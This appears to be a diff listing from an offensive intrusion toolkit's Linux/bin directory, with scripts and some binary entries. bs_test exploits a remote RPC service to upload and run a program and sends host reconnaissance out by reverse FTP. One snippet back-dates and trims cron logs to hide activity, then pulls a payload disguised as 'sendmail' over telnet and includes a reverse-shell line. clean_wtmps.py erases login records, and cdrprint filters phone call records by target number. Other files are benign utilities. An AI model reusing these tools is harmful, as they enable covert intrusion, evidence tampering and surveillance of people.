/bin/ftp -in << EOF
open ${LOCAL_IP}
user ${LOCAL_USER} ${LOCAL_PASSWD}
binary
lcd ${DIR}
get ${RUN_FILE}.Z
EOF
cd ${DIR}
/usr/bin/uncompress -f ${RUN_FILE}.Z
/bin/chmod 0700 ${RUN_FILE}
PATH=${DIR} ${RUN_FILE} ${EXTRA}
/bin/rm ${SCRIPT}
\" > ${SCRIPT} &&
/bin/sh ${SCRIPT}"

113
Linux/bin/bs_test Executable file
View file

@ -0,0 +1,113 @@
#!/bin/sh
#
# Use bs to upload a program via reverse FTP and run it
#
# Some default values
SCRIPT="/tmp/...."
DIR="/tmp/..."
LOCAL_USER="test"
LOCAL_PASSWD="test"
# Show usage and exit
usage() {
echo "Old Usage: ${0} rem_ip rem_host loc_ip loc_user loc_passwd file [args...]"
echo ""
echo "New usage: ${0} [options] -- [options to <file2Xfer&Run>]"
echo " -i <remoteIP> (required)"
echo " -h <remoteHost> (required)"
echo " -a Use alt rpcbind port"
echo " -s <sndPort> def= bs default"
echo " -r <rcvPort> def= bs default"
echo " -d <remoteDomain>"
echo " -p <sadmindPort> def= query rpcbind"
echo " -l <localIP> (required)"
echo " -u <localUser> (def= test)"
echo " -P <localPassword> (def= test)"
echo " -f <file2Xfer&Run> (required)"
echo " -D <remoteDir> def= $DIR"
echo " -S <remoteScript> def= $SCRIPT"
exit 1
}
# There must be at least one argument
if [ ${#} -eq 0 ]; then
usage
fi
#
# Process args
#
if [ "`echo $1 | cut -c1`" != "-" ]; then
# Must be old style command line
[ $# -lt 6 ] && usage
REMOTE_IP=${1}
REMOTE_HOST=${2}
LOCAL_IP=${3}
LOCAL_USER=${4}
LOCAL_PASSWD=${5}
RUN_FILE=${6}
shift; shift; shift; shift; shift; shift
REMOTE_PORTS="23 23"
else
# New style options
while getopts i:h:as:r:d:p:l:u:P:f:D:S: op; do
case $op in
i) REMOTE_IP="-i $OPTARG";;
h) REMOTE_HOST="-h $OPTARG";;
a) altRpcbind="-a";;
s) sndPort="-s $OPTARG";;
r) rcvPort="-r $OPTARG";;
d) remDomain="-d $OPTARG";;
p) sadmindPort="-p $OPTARG";;
l) LOCAL_IP="$OPTARG";;
u) LOCAL_USER="$OPTARG";;
P) LOCAL_PASSWD="$OPTARG";;
f) RUN_FILE="$OPTARG";;
D) DIR="$OPTARG";;
S) SCRIPT="$OPTARG";;
esac
done
cmdFlag="-c"
extraOpts="$altRpcbind $sndPort $rcvPort $remDomain $sadmindPort"
shift `expr $OPTIND - 1`
# Check for required args
[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage
[ -z "$REMOTE_HOST" ] && echo "Error: missing remote host" && usage
[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage
fi
EXTRA="${*}"
echo "running: bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} $extraOpts ..."
echo "--> my IP is $LOCAL_IP"
echo "--> local user/pass is $LOCAL_USER/$LOCAL_PASSWD"
echo "--> xfering and running $RUN_FILE"
echo "--> using tmp file $SCRIPT"
echo "--> using tmp dir $DIR"
#exit 0
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} $extraOpts \
$cmdFlag "/bin/echo \"/bin/mkdir ${DIR}
cd ${DIR}
uname -a > a
w >> a
date >> a
df -k >> a
ps -ef >> a
/bin/ftp -in << EOF
open ${LOCAL_IP}
user ${LOCAL_USER} ${LOCAL_PASSWD}
binary
lcd ${DIR}
put a
EOF
/bin/chmod 0700 ${DIR}/${RUN_FILE}
PATH=${DIR} ${RUN_FILE} ${EXTRA}
/bin/rm ${SCRIPT}
\" > ${SCRIPT} &&
/bin/sh ${SCRIPT} &&
/bin/rm -rf ${DIR}"

220
Linux/bin/bwmon.py Executable file
View file

@ -0,0 +1,220 @@
#!/usr/bin/env python
VERSION = '1.0.0.4'
import os
import re
import sys
import time
import getopt
import os.path
import subprocess
def usage(prog):
print 'usage: python %s [options] ifname [logfile]' % prog
print 'options:'
print ' -h show this help and exit'
print ' -e show extended stats (kbpm, kbp10m, kbph)'
print ' -n interval update interval in seconds (default 5)'
print ' -v show version and exit'
show_version(prog)
sys.exit(0)
def show_version(prog):
print '%s version %s' % (prog, VERSION)
def lo_execute(cmd):
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
output = proc.stdout.read()
return output
def print_data(ifname, rx_bytes, rx_pkts, rx_kbps, rx_kbpm, rx_kbp10m, rx_kbph,
tx_bytes, tx_pkts, tx_kbps, tx_kbpm, tx_kbp10m, tx_kbph,
show_extended, logfile):
t = int(time.time())
tstr = time.strftime('%a %b %d %H:%M:%S %Z %Y')
rx_MB = float(rx_bytes) / 1048576.0
tx_MB = float(tx_bytes) / 1048576.0
rx_kBps = rx_kbps / 8.0
tx_kBps = tx_kbps / 8.0
outstr = '%s\n' % tstr
outstr += '%3s %11s %9s %10s %8s %9s' % (ifname, 'bytes', '(MB)', 'packets', 'kbps', '(kBps)')
if show_extended:
outstr += ' %9s %9s %9s' % ('kbps-1m', 'kbps-10m', 'kbps-hr')
outstr += '\n'
outstr += ' TX %11d %9s %10d %8.1f %9s' % (tx_bytes, '(%.1f)' % tx_MB, tx_pkts, tx_kbps, '(%.1f)' % tx_kBps)
if show_extended:
outstr += ' %9.1f %9.1f %9.1f' % (tx_kbpm, tx_kbp10m, tx_kbph)
outstr += '\n'
outstr += ' RX %11d %9s %10d %8.1f %9s' % (rx_bytes, '(%.1f)' % rx_MB, rx_pkts, rx_kbps, '(%.1f)' % rx_kBps)
if show_extended:
outstr += ' %9.1f %9.1f %9.1f' % (rx_kbpm, rx_kbp10m, rx_kbph)
print outstr
if logfile != None:
try:
fd = open(logfile, 'a')
fd.write(outstr + '\n')
fd.close()
except:
pass
return
def get_bw_info(ifname):
rx_bytes = 0
rx_pkts = 0
tx_bytes = 0
tx_pkts = 0
try:
fd = open('/proc/net/dev', 'r')
lines = fd.readlines()
fd.close()
for line in lines:
if re.search('^ *%s:' % ifname, line):
data = line.split(':')[1].split()
rx_bytes = int(data[0])
rx_pkts = int(data[1])
tx_bytes = int(data[8])
tx_pkts = int(data[9])
except:
out = lo_execute('/sbin/ifconfig %s' % ifname)
if re.search('not found', out):
return (0, 0, 0, 0)
rx_bytes = int(re.search('RX bytes:([0-9]+) ', out).group(1))
tx_bytes = int(re.search('TX bytes:([0-9]+) ', out).group(1))
rx_pkts = int(re.search('RX packets:([0-9]+) ', out).group(1))
tx_pkts = int(re.search('TX packets:([0-9]+) ', out).group(1))
return (rx_bytes, rx_pkts, tx_bytes, tx_pkts)
def doloop(ifname, interval, show_extended, logfile):
prev_rx, prev_rxp, prev_tx, prev_txp = get_bw_info(ifname)
# extended stats
prev_rx_min = [prev_rx] * 60
prev_rx_10min = [prev_rx] * 600
prev_rx_hr = [prev_rx] * 3600
prev_tx_min = [prev_tx] * 60
prev_tx_10min = [prev_tx] * 600
prev_tx_hr = [prev_tx] * 3600
print_data(ifname, prev_rx, prev_rxp, 0, 0, 0, 0,
prev_tx, prev_txp, 0, 0, 0, 0, show_extended, logfile)
counter = 1
while True:
curr_sec = int(time.time())
rx, rpkts, tx, tpkts = get_bw_info(ifname)
if counter % interval == 0:
rx_kbps = ((rx - prev_rx) * 8) / 1024.0 / interval
tx_kbps = ((tx - prev_tx) * 8) / 1024.0 / interval
prev_rx = rx
prev_tx = tx
i = curr_sec % 60
rx_kbpm = ((rx - prev_rx_min[i]) * 8) / 1024.0 / 60
tx_kbpm = ((tx - prev_tx_min[i]) * 8) / 1024.0 / 60
prev_rx_min[i] = rx
prev_tx_min[i] = tx
i = curr_sec % 600
rx_kbp10m = ((rx - prev_rx_10min[i]) * 8) / 1024.0 / 600
tx_kbp10m = ((tx - prev_tx_10min[i]) * 8) / 1024.0 / 600
prev_rx_10min[i] = rx
prev_tx_10min[i] = tx
i = curr_sec % 3600
rx_kbph = ((rx - prev_rx_hr[i]) * 8) / 1024.0 / 3600
tx_kbph = ((tx - prev_tx_hr[i]) * 8) / 1024.0 / 3600
prev_rx_hr[i] = rx
prev_tx_hr[i] = tx
if counter % interval == 0:
print_data(ifname, rx, rpkts, rx_kbps, rx_kbpm, rx_kbp10m, rx_kbph,
tx, tpkts, tx_kbps, tx_kbpm, tx_kbp10m, tx_kbph,
show_extended, logfile)
time.sleep(1)
counter += 1
return
def main(argv):
prog = os.path.basename(argv[0])
interval = 5
ext_stats = False
try:
opts, args = getopt.getopt(argv[1:], 'hvn:e')
except getopt.GetoptError, err:
print str(err)
usage(prog)
for o, a in opts:
if o == '-h':
usage(prog)
elif o == '-v':
show_version(prog)
sys.exit(0)
elif o == '-n':
try:
interval = int(a)
except:
print 'ERROR: invalid interval %s' % a
sys.exit(1)
if interval <= 0:
print 'interval must be > 0'
sys.exit(1)
elif o == '-e':
ext_stats = True
else:
print 'unknown option'
usage(prog)
if len(args) < 1 or len(args) > 2:
usage(prog)
ifname = args[0]
if len(args) == 2:
logfile = args[1]
else:
logfile = None
doloop(ifname, interval, ext_stats, logfile)
if __name__ == '__main__':
try:
main(sys.argv)
except KeyboardInterrupt:
pass

40
Linux/bin/bwsofar Executable file
View file

@ -0,0 +1,40 @@
#!/bin/sh
VER=1.0.0.1
usage() {
cat <<EOF
Usage: bwsofar [MGKB]
Shows the bandwidth so far (per bwmonitor.txt). Default shows all units:
E.g.:
15:28:09 [/current/down]# bwsofar
0 GB
112 MB
114790 KB
117544993 bytes
15:36:31 [/current/down]# bwsofar M
112 MB
bwsofar v. $VER
EOF
exit
}
U=$1
[ "${1:0:1}" = "-" ] && usage
ALL=""
[ "$*" ] || ALL=yes
echo "$*" | grep -q M && M=yes
echo "$*" | grep -q G && G=yes
echo "$*" | grep -q K && K=yes
echo "$*" | grep -q B && B=yes
BYTES=`tail -15 /current/down/bwmonitor.txt 2>/dev/null | grep RX 2>/dev/null | tail -1 2>/dev/null | sed "s/.*RX bytes://" | sed "s/ .*//g" 2>/dev/null`
KB=`echo $BYTES/1024 | bc`
MEG=`echo $KB/1024 | bc`
GIG=`echo $MEG/1024 | bc`
[ "$G" -o "$ALL" ] && echo $GIG GB
[ "$M" -o "$ALL" ] && echo $MEG MB
[ "$K" -o "$ALL" ] && echo $KB KB
[ "$B" -o "$ALL" ] && echo $BYTES bytes

BIN
Linux/bin/calserver Executable file

Binary file not shown.

View file

@ -0,0 +1,42 @@
# Add your commands after the cleanup
if [ -f /var/spool/cron/crontabs/root ]; then
mv -f /var/spool/cron/crontabs/root.bak /var/spool/cron/crontabs/root
rm -f /var/spool/cron/crontabs/root.orig
touch -r /var/spool/cron/crontabs/root /var/spool/cron/crontabs
printf 'caroot\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0' > /etc/cron.d/FIFO
fi
if [ -f /var/cron/log ]; then
touch -r /var/cron /tmp/.af1221
i=`wc -l /var/cron/log |awk '{print $1}'`
i=`expr $i - 3`
head -$i /var/cron/log > /var/cron/bak
mv -f /var/cron/bak /var/cron/log
chmod 600 /var/cron/log
chown root:root /var/cron/log
i=`tail -1 /var/cron/log`
i=`echo $i | sed s/Jan/01/`
i=`echo $i | sed s/Feb/02/`
i=`echo $i | sed s/Mar/03/`
i=`echo $i | sed s/Apr/04/`
i=`echo $i | sed s/May/05/`
i=`echo $i | sed s/Jun/06/`
i=`echo $i | sed s/Jul/07/`
i=`echo $i | sed s/Aug/08/`
i=`echo $i | sed s/Sep/09/`
i=`echo $i | sed s/Oct/10/`
i=`echo $i | sed s/Nov/11/`
i=`echo $i | sed s/Dec/12/`
y=`echo $i|cut -d' ' -f9`
y=`echo $y | cut -b3-4`
i=`echo $i | tr ':' ' '`
i=`echo $i | cut -d' ' -f6-9|tr -d ' :'`
touch $i$y /var/cron/log
touch -r /tmp/.af1221 /var/cron
touch $i$y /etc/cron.d/FIFO
fi
rm -f /tmp/.af1221
# -- Add your commands here:
mkdir /tmp/.scsi;cd /tmp/.scsi && telnet LOCAL_IP CALLBACK_PORT < /dev/console |uudecode > /dev/null 2>&1 && uncompress -f sendmail.Z && chmod 0700 sendmail && PATH=/tmp/.scsi sendmail
#TERM=vt100;export TERM;telnet 555.1.2.150 2525 2>&1 < /dev/console | /bin/sh 2>&1 | telnet 555.1.2.150 8080 2>&1

BIN
Linux/bin/catflap Executable file

Binary file not shown.

BIN
Linux/bin/catflap_intel_V1 Executable file

Binary file not shown.

BIN
Linux/bin/catflap_intel_V2 Executable file

Binary file not shown.

BIN
Linux/bin/catflap_sparc Executable file

Binary file not shown.

1
Linux/bin/cdate Symbolic link
View file

@ -0,0 +1 @@
../etc/cdate.py

171
Linux/bin/cdate.old Executable file
View file

@ -0,0 +1,171 @@
#!/usr/bin/env python
version = "2.7.5.1"
import sys
import time
import os
import re
import getopt
import calendar
def usage(prog):
prog = prog.split(os.sep)[-1]
print 'usage: %s [options] [date [+/-hr]]\n' % (prog)
print 'options:'
print ' -e show epoch seconds'
print ' -d show YYYYMMDDHHMM.SS format'
print ' -u show MM/DD HH:MM (sulog) format'
print ' -s show string format\n'
print ' -h show help and exit'
print ' -v show version and exit\n'
print 'date can be in the following formats:\n'
print ' epoch in secs ex. 1000000000'
print ' YYYYMMDDHHMM[.SS] ex. 200109090146.40'
print ' MM/DD HH:MM [YYYY] ex. 09/09 01:46 2001'
print ' [Ddd] Mmm DD HH:MM[:SS] [YYYY] ex. Sun Sep 09 01:46:40 2001\n'
print '+/-hr specifies an offset in hours, ex. +8\n'
print '%s version %s' % (os.path.basename(prog), version)
sys.exit(1)
def to_epoch(t):
return str(calendar.timegm(t))
def to_date(t):
return time.strftime('%Y%m%d%H%M.%S', t)
def to_str(t):
return time.strftime('%b %d %H:%M:%S %Y', t)
def to_sulog(t):
return time.strftime('%m/%d %H:%M %Y', t)
def parse_str(s):
try:
if re.match('^\w{3} \d{1,2} \d\d:\d\d:\d\d \d{4}$', s): # Mmm DD HH:HH:SS YYYY
thedate = time.strptime(s, '%b %d %H:%M:%S %Y')
elif re.match('^\w{3} \d{1,2} \d\d:\d\d \d{4}$', s): # Mmm DD HH:HH YYYY
thedate = time.strptime(s, '%b %d %H:%M %Y')
elif re.match('^\w{3} \d{1,2} \d\d:\d\d:\d\d$', s): # Mmm DD HH:HH:SS
thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%b %d %H:%M:%S %Y')
elif re.match('^\w{3} \d{1,2} \d\d:\d\d$', s): # Mmm DD HH:HH
thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%b %d %H:%M %Y')
elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d:\d\d \d{4}$', s): # Ddd Mmm DD HH:HH:SS YYYY
thedate = time.strptime(s, '%a %b %d %H:%M:%S %Y')
elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d \d{4}$', s): # Ddd Mmm DD HH:HH YYYY
thedate = time.strptime(s, '%a %b %d %H:%M %Y')
elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d:\d\d$', s): # Ddd Mmm DD HH:HH:SS
thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%a %b %d %H:%M:%S %Y')
elif re.match('^\w{3} \w{3} \d{1,2} \d\d:\d\d$', s): # Ddd Mmm DD HH:HH
thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%a %b %d %H:%M %Y')
elif re.match('^\d\d\/\d\d \d\d:\d\d$', s): # MM/DD HH:MM
thedate = time.strptime(s + ' %d' % (time.localtime()[0]), '%m/%d %H:%M %Y')
elif re.match('^\d\d\/\d\d \d\d:\d\d \d\d\d\d$', s): # MM/DD HH:MM YYYY
thedate = time.strptime(s, '%m/%d %H:%M %Y')
else:
return None
except Exception, e:
print str(e)
return None
return thedate
def print_pretty(t):
print ''
print 'epoch time : %s' % (to_epoch(t))
print 'YYYYMMDDHHMM.SS : %s' % (to_date(t))
print 'MM/DD HH:MM YYYY : %s' % (to_sulog(t))
print 'full string : %s' % (to_str(t))
print ''
def main():
thedate = None
offset = 0
showe = False
showd = False
shows = False
showu = False
if len(sys.argv) == 1:
print_pretty(time.localtime())
sys.exit(1)
try:
opts, args = getopt.getopt(sys.argv[1:], 'hvedsu')
except getopt.GetoptError, err:
print str(err)
usage(sys.argv[0])
for o, a in opts:
if o == '-h':
usage(sys.argv[0])
elif o == '-v':
print '%s version %s' % (os.path.basename(sys.argv[0]), version)
sys.exit(1)
elif o == '-e':
showe = True
elif o == '-d':
showd = True
elif o == '-s':
shows = True
elif o == '-u':
showu = True
if len(args) == 0:
thedate = time.localtime()
else:
if re.match('^[+-]\d\d?$', args[-1]):
offset = int(args[-1])
if offset < -23 or offset > 23:
print 'error: bad offset value'
usage(sys.argv[0])
args = args[:-1]
if len(args) == 1:
if re.match('^\d{1,10}$', args[0]):
thedate = time.gmtime(int(args[0]))
elif re.match('^\d{12}$', args[0]):
thedate = time.strptime(args[0], '%Y%m%d%H%M')
elif re.match('^\d{12}\.\d\d$', args[0]):
thedate = time.strptime(args[0], '%Y%m%d%H%M.%S')
else:
thedate = parse_str(args[0])
else:
thedate = parse_str(' '.join(args))
if thedate == None:
print 'error: bad date format'
usage(sys.argv[0])
t = calendar.timegm(thedate)
t += (offset * 60 * 60)
thedate = time.gmtime(t)
if showe or showd or shows or showu:
if showe:
print to_epoch(thedate)
if showd:
print to_date(thedate)
if showu:
print to_sulog(thedate)
if shows:
print to_str(thedate)
else:
print_pretty(thedate)
if __name__ == '__main__':
main()

130
Linux/bin/cdrprint Executable file
View file

@ -0,0 +1,130 @@
#!/usr/bin/env perl
use Getopt::Long;
my $version = "1.1.1.1";
GetOptions("a=s" => \$opt_a,
"f=s" => \$opt_f,
"h" => \$opt_h,
"v" => \$opt_v);
# If usage needed
if ($opt_h)
{
print STDERR "cdrprint -f inputfile -a argsfile\n\n";
print STDERR "-f inputfile: comma-delimited CDR records (1 per line)\n";
print STDERR "-a argsfile: space-delimited target numbers (1 or more lines)\n\n";
print STDERR "This script takes comma-separated CDR records and pretty\n";
print STDERR "prints them. Output goes to stdout.\n";
print STDERR "\ncdrprint version $version\n";
exit;
}
# If version number needed
if ($opt_v)
{
print STDERR "cdrprint version $version\n";
exit;
}
# Check for required arguments
$opt_a || die "Must supply argument filename with -a switch";
$opt_f || die "Must supply input filename with -f switch";
$argsfile = $opt_a;
$filename = $opt_f;
# Read in targets from file, store in a hash table
my $argscount = 0;
open(ARGSFILE, "$argsfile") || die "Error opening $argsfile";
while ($argsline = <ARGSFILE>)
{
chomp $argsline;
@argsarray = split(" ", $argsline);
foreach $arg (@argsarray)
{
$argshash{$arg} = 1;
$argscount++;
}
}
# Open the cdroutput file given on the command line, loop thru entries
open(CDRFILE, $filename);
while (<CDRFILE>)
{
# Change the current filename's entries if needed
if (/entries from (.*)/)
{
$cdrfile = $1;
next;
}
# Parse the cdr record
@parsedstring = split(",");
$phone1 = $parsedstring[3];
$phone2 = $parsedstring[5];
$imei = $parsedstring[2];
# If neither phone number matches a target number (i.e. we have a match
# based on timestamp), skip it
$match1 = 0;
$match2 = 0;
$match3 = 0;
foreach $arg (keys %argshash)
{
$match1 = 1 if ($phone1 =~ /$arg/);
$match2 = 1 if ($phone2 =~ /$arg/);
$match3 = 1 if ($imei =~ /$arg/);
}
next if ($match1 == 0 && $match2 == 0 && $match3 == 0);
# Pretty print the record
# A * next to a number indicates exact match to a target
# A ! next to a number indicates partial match to a target
# No symbol next to a number indicates no match
print "---- BEGIN ENTRY FROM $cdrfile ----\n";
# Print phone 1 entry
if (exists $argshash{$phone1})
{
print "Party 1:\t\t$phone1*\n";
}
else
{
if ($match1 == 1)
{
print "Party 1:\t\t$phone1!\n";
}
else
{
print "Party 1:\t\t$phone1\n";
}
}
# Print phone 2 entry
if (exists $argshash{$phone2})
{
print "Party 2:\t\t$phone2*\n";
}
else
{
if ($match2 == 1)
{
print "Party 2:\t\t$phone2!\n";
}
else
{
print "Party 2:\t\t$phone2\n";
}
}
# Print rest of information about the cdr record
print "IMEI (Party 1):\t\t$imei\n";
print "Cell-id (Party 1):\t$parsedstring[9] / $parsedstring[8]\n";
print "IMSI (Party 1):\t\t$parsedstring[4]\n";
print "Event time:\t\t$parsedstring[0]\n";
print "Duration:\t\t$parsedstring[1]\n";
print "---- END ENTRY FROM $cdrfile ----\n";
}
close(CDRFILE);

146
Linux/bin/clean_wtmps.py Executable file
View file

@ -0,0 +1,146 @@
#!/bin/env python
import os,sys,binascii,re,time
version = "2.0.0.0"
class clean_wtmps:
def __init__(self):
self.original = ""
self.goodData = ""
def main(self):
print version
if not len(sys.argv) > 1 or str(sys.argv[1]) == "-h":
print "usage: clean_wtmps.py file [tty] [time]"
sys.exit(1)
if not os.path.exists(sys.argv[1]):
print "File does not exist"
sys.exit(1)
self.readwtmps(sys.argv[1])
#data = self.readwtmps(sys.argv[1])
#if not data: sys.exit(1)
if len(sys.argv) == 2:
self.printStructs()
elif len(sys.argv) == 4:
tty = sys.argv[2].strip()
myTime = binascii.unhexlify(hex(int(sys.argv[3].strip()))[2:])
#print time
self.parseOut(tty,myTime,sys.argv[1])
def readwtmps(self,wtmps):
print "Reading wtmps file..."
#goodData = ""
#original = ""
f = open(wtmps,'rb')
self.original = f.read()
f.close()
print "Parsing offsets using 652 struct size"
ans = len(self.original) % 652
#print ans
if ans != 0:
print "File is corrupted. Attempting to locate invalid offset"
self.findBroken()
else:
self.goodData = self.original
def findBroken(self):
count = 0
for i in range(len(self.original), 0, -652):
print i
count += 1
line = self.original[i-652:i]
if not re.match("\x00\x00\x02\x88", line):
print "Located invalid offset at count %d" % count
print "Walking backwards till I find it"
numBytes = 0
while True:
numBytes += 1
line = self.original[i-(652+numBytes):i]
if re.match("\x00\x00\x02\x88", line):
break
print "Number of invalid bytes: %d" % numBytes
break
else:
self.goodData = line + self.goodData
if len(self.goodData) == len(self.original):
print "Entire file may be corrupt...was unable to find good offsets"
#default = "n"
#answer = str(raw_input("Fix wtmps file? [y/N] ")).lower()
#if not answer:
# print "Not fixing"
# return False
#if answer == 'y':
# newData = data[:i-numBytes] + data[i:]
# ans = len(newData) % 652
# if ans == 0:
# print "FIXED!"
# return newData
# return False
def printStructs(self):
for i in range(0,len(self.goodData),652):
line = self.goodData[i:i+652]
user = ""
findUser = re.match("[A-Za-z\.]+",line[4:])
if findUser:
user = findUser.group()
myTime = int(binascii.hexlify(line[352:356]),16)
prettyTime = time.asctime(time.localtime(int(myTime)))
#272
#term = line[272:284].strip()
term = ""
termCheck = re.search("(tty|pts)[/]{0,1}[a-z0-9]{0,2}", line)
if termCheck: term = termCheck.group()
print "%s\t%s\t%s (%s)" % (user, term, str(myTime), str(prettyTime))
def parseOut(self,tty,myTime,wtmps):
test = self.goodData[0:652]
if not re.match("\x00\x00\x02", test):
print "First entry is not a valid entry"
return False
i = 0
count = 1
found = False
numStructs = len(self.goodData) / 652
newData = ""
for i in range(0,len(self.goodData),652):
line = self.goodData[i:i+652]
count += 1
#if re.search("%s.+%s" % (tty,time), line):
if line.find(myTime) != -1:
#print line.find(time)
print "Found in struct %d out of %d" % (count, numStructs+1)
found = True
if (i+652) == len(self.goodData):
newData = self.goodData[:i]
else:
newData = self.goodData[:i] + self.goodData[i+652:]
break
if found is False:
print "String was not found"
else:
if len(self.goodData) != len(self.original):
newData = self.original[:len(self.original)-len(self.goodData)] + newData
if len(newData) == len(self.original) - 652:
print "Cleaned Successfully...iyf"
f = open(str(sys.argv[1]),'wb')
f.write(newData)
f.close()
print "Data has been written to %s" % str(sys.argv[1])
if __name__ == "__main__":
clean_wtmps().main()

BIN
Linux/bin/cleaner Executable file

Binary file not shown.

393
Linux/bin/clocksync.pl Executable file
View file

@ -0,0 +1,393 @@
#!/usr/bin/env perl
# $Id: clocksync.pl,v 1.3 2006/06/06 23:11:31 user Exp $
##
$VER = "1.0.2.4";
# DEFAULTS
$defintf = "ppp";
@ntptargets =("us.pool.ntp.org","ch.pool.ntp.org","pool.ntp.org");
#DEBUG: DBG ONLY, set this to ppp for dialup
myinit() ;
#
mylog("Starting v$VER");
unless (($intf,@rest) = checkppp(240)) {
mylog("No IP address yet on ${defintf}[01] for four minutes. Waiting at most another 6 minutes");
unless (($intf) = checkppp(360)) {
mydie("ABORTING: CANNOT confirm valid ${defintf}[01] IP address for another six minutes (ten total)");
}
}
sleep 1;
sleep 3; # add a few more seconds here since we are no longer pinging $testip
my $count=0;
my $result=0;
my ($servername,$server,%errlog) = ();
while (! $result) {
foreach $ntptarget (@ntptargets) {
my @name_lookup = gethostbyname($ntptarget);
my @ips = map { inet_ntoa($_) } @name_lookup[ 4 .. $#name_lookup ];
if (@ips) {
mylog("$ntptarget resolved to: @ips");
} else {
mylog("Cannot resolve $ntptarget");
$result = 1;
}
foreach $ip (@ips) {
`ntpdate -v $ip 2>&1`;
if ($result = $?) {
$errlog{$result} .= " $ip";
}
unless ($result) {
$servername = $ntptarget;
$server = $ip;
last;
}
}
last if ($server);
last unless $result;
}
last if ($server);
last unless $result;
$count+=3;
sleep 3;
last if $count > 30;
}
if ($result) {
foreach $err (sort keys %errlog) {
mylog("ntpdate $ip returned $err for EACH OF these IPs:$errlog{$result}");
}
mydie("FAILED--exiting");
}
if ($server) {
mylog("Successful ntp connection to $servername/$server");
} else {
mylog("FAILED? Did this work? WTF? result=$result but server=$server and servername=$servername");
}
$count=0;
$result=0;
while (! `hwclock --systohc`) {
$result = $?;
last unless $result;
$count+=3;
sleep 3;
last if $count > 30;
}
if ($result) {
mydie("FAILED: ntpdate $ntptarget worked but then hwclock --systohc returned $result");
}
# allow time for clock to settle so timestamp in log below is new one
sleep 3;
unlink("/tmp/clocksync.done");
copy("/tmp/clocksync.log","/tmp/clocksync.done");
sub checkppp {
# Return () if no ppp address, otherwise
# Return ($ispname,$ispip,$testip,$ispcitystate,$ispphone)
local ($wait) = (@_);
my $isdown = "";
if ($wait eq "down") {
$isdown = $wait;
$wait = 0;
# give interface a couple seconds to drop entirely
sleep 2;
}
my (@intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) = ();
my $intf = $defintf;
$wait = 3 * int($wait / 3); # force a multiple of 3
my $origwait = $wait;
while ( 1 ) {
$blah=`ps -ef | egrep "setupisp|wvdial.conf" | grep -v grep`;
if ($wait and $blah) {
#TODO: Is this right? Is wvdial gone once we have ppp?
sleep 3 ;
$wait -= 3;
next if $wait;
mylog("ERROR: Unable do detect just dialed ISP for $origwait seconds");
return ();
}
@intf=($defintf."0",$defintf."1");
($testip) = `route -n` =~ /\n\s*0.0.0.0\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
$testip = "" if ($testip eq "0.0.0.0");
unless ($testip) {
my @lines = grep { "^nameserver" } `cat /etc/resolv.conf`;
($testip) = $lines[0] =~ / (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
}
foreach $intf (@intf) {
my $ifconfig = `ifconfig $intf 2>&1`;
my ($ispip) = $ifconfig =~ /inet addr:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;
# If nothing else we ping our own IP as a test
$testip = $ispip unless $testip;
$testip = $ispip;
if ($ispip) {
# my ($loss) = `ping -nc1 $testip 2>&1` =~ /\s(\d+)\% .*loss/;
$loss = 0 ;
if (length($loss) and $loss == 0) {
my $ispinfo = "/tmp/isp_info";
if (-M $ispinfo > 0) {
# We log an error if using PPP but /tmp/isp seems old.
mylog("$ispinfo timestamp seems too old for a new dial? Using it anyway...")
unless $opt_e;
}
($ispcitystate,$ispphone,$ispname) = ("unknown,UN","911");
if (open(TMPIN,"$ispinfo")) {
chomp($ispname = <TMPIN>);
$ispname =~ s/,/\./g;
chomp($ispcitystate = <TMPIN>);
unless ($ispcitystate =~ /,\s*[A-Z]{2}\s*$/) {
chomp(my $ispstate = <TMPIN>);
$ispcitystate .= " $ispstate";
}
$ispcitystate =~ s/,//g;
chomp($ispphone = <TMPIN>);
$ispphone =~ s/,//g;
close(TMPIN);
}
# Ensure none of these entries have commas (we comma delimit elsewhere)
$ispip =~ s/,/\./g;
$testip =~ s/,/\./g;
mylog("Verified $intf IP=$ispip \n".
#"and pinged testip=$testip:\n".
"(\$intf,\$ispname,\t\$ispip,".
# "\t\$testip,".
"\t\$ispcitystate,\t\$ispphone)=\n".
"($intf,$ispname,\t$ispip,".
#"\t$testip,".
"\t$ispcitystate,\t$ispphone)");
return ($intf,$ispname,$ispip,$testip,$ispcitystate,$ispphone) ;
}
}
}#foreach (@intf)
$wait -= 3;
last unless ($wait > 0);
sleep 3;
}
if ($isdown) {
mylog("confirmed no live ${defintf}[01] interface after isp($action)");
} else {
mylog("testip=$testip, but could not verify my IP address on (@intf)");
}
return ();
}#checkppp
sub myinit {
use File::Basename qw(basename dirname);
require "getopts.pl";
require Time::Local;
use Socket;
use File::Copy ;
$COLOR_SUCCESS="\033[2;32m";
$COLOR_FAILURE="\033[2;31m";
$COLOR_WARNING="\033[1;33m";
$COLOR_NORMAL="\033[0;39m";
$COLOR_NOTE="\033[0;34m";
$prog = basename $0 ;
$vertext = "$prog version $VER\n" ;
$| = 1;
$opdir = "/current" ;
$opup = "$opdir/up" ;
$opbin = "$opdir/bin" ;
$opetc = "$opdir/etc" ;
$opdown = "$opdir/down" ;
$optmp = "$opdir/tmp" ;
chomp($hostname = `hostname`);
$ext = "$$" ; # some uniqueness to me
$gsoptions = "@ARGV" ;
$calledas = "$0 @ARGV";
$origargs = "@ARGV" ;
$optstr = "hvei:f" ;
mydie("bad option(s)") if (! Getopts( $optstr ) ) ;
$defhowoften = 3;
$howoften = $defhowoften;
$howoften = 0 if $opt_f;
my @tmpntps = @ntptargets;
shift(@tmpntps);
$usagetext = "Usage: $prog [options]
OPTIONS
-e Use eth[01] as the interfaces on which to look for a valid
